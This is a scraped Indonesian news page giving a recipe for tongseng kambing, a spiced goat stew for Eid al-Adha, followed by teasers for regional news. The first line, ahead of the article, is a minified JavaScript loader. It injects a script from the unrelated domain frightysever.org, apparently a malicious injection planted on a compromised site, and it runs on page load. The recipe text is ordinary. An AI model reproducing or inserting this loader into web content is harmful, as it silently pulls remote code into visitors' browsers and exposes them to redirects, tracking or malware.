(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM- Tongseng kambing menjadi salah satu menu favorit keluarga di Hari Raya Idul Adha. Tongseng kambing menjadi rekomendasi dalam mengolah daging kurban menjadi makanan yang lezat. Bagaimana resep tongseng kambing?
Tongseng kambing memiliki cita rasa pedas dan gurih yang menjadi makanan yang tidak boleh dilewatkan. Sering kali kita merasa sulit untuk menikmati makanan dengan olahan kambing karena bau yang menyengat. Dengan resep tongseng kambing berikut ini, kamu juga dapat menikmati tongseng kambing tanpa terganggu dengan aroma kambing.
Lantas apa saja bumbu dan bahan tongseng kambing agar memiliki cita rasa yang enak? Bagaimana pula cara membuat tongseng kambing? Berikut ini penjelasan resep tongseng kambing selengkapnya.
Baca juga: UPDATE. Kasus Positif Covid-19 Kalsel Nyaris 500 Orang, 6 Orang Meninggal
Daftar Bahan Tongseng Kambing
500 gram daging kambing (rebus sebentar dan hilangkan kotorannya)
8 helai kol, iris
1 buah tomat, potong-potong
1 sdt garam halus
1/3 sdt penyedap rasa
gula merah secukupnya
kecap manis secukupnya
minyak goreng
air bersih
lengkuas, geprek
1 batang serai, geprek
2 lembar daun salam
2 lembar daun jeruk
cabai (opsional)
Daftar Bumbu Tongseng Kambing
1 sdm merica
10 siung bawang putih
8 butir bawang merah
Garam secukupnya
Baca juga: Viral Fenomena Tanah Bergerak di Desa Sawang Tapin, Puluhan Hektare Sawah Rusak!
Cara Membuat Tongseng Kambing:
Pertama panaskan minyak kemudian tumis bumbu halus beserta lengkuas, serai, daun salam, dan daun jeruk sampai harum.
Masukkan air dan daging dan aduk hingga berubah warna
Masukkan bahan-bahannya yakni lada, garam, penyedap, gula merah, masak hingga daging benar-benar empuk
Aduk kuah hingga kental kemudian masukkan kol dan kecap manis
Masukkan tomat dan cabai, masak sampai layu
Jika rasa masih kurang sesuai tambahkan bumbu yang sudah ada
Tunggu masakan hingga matang
Terakhir angkat dan sajikan Tongseng Kambing yang sudah matang.
Itulah resep membuat tongseng kambing lengkap dengan daftar bahan, bumbu dan cara membuatnya. Tongseng kambing erat dengan masakan khas Idul Adha yang tidak boleh kelewatan untuk dikonsumsi bersama orang terdekat.(suara.com)
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Ketua I DPRD Kabupaten Kapuas Yohanes sangat mengapresiasi kegiatan pawai… Read More
KANALKALIMANTAN.COM, RANTAU - Kafilah Hulu Sungai Utara (HSU) menjadi pembuka dalam parade Pawai Ta'aruf Musabaqah… Read More
KANALKALIMANTAN.COM, RANTAU - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melambaikan tangan memberikan semangat untuk… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More
This website uses cookies.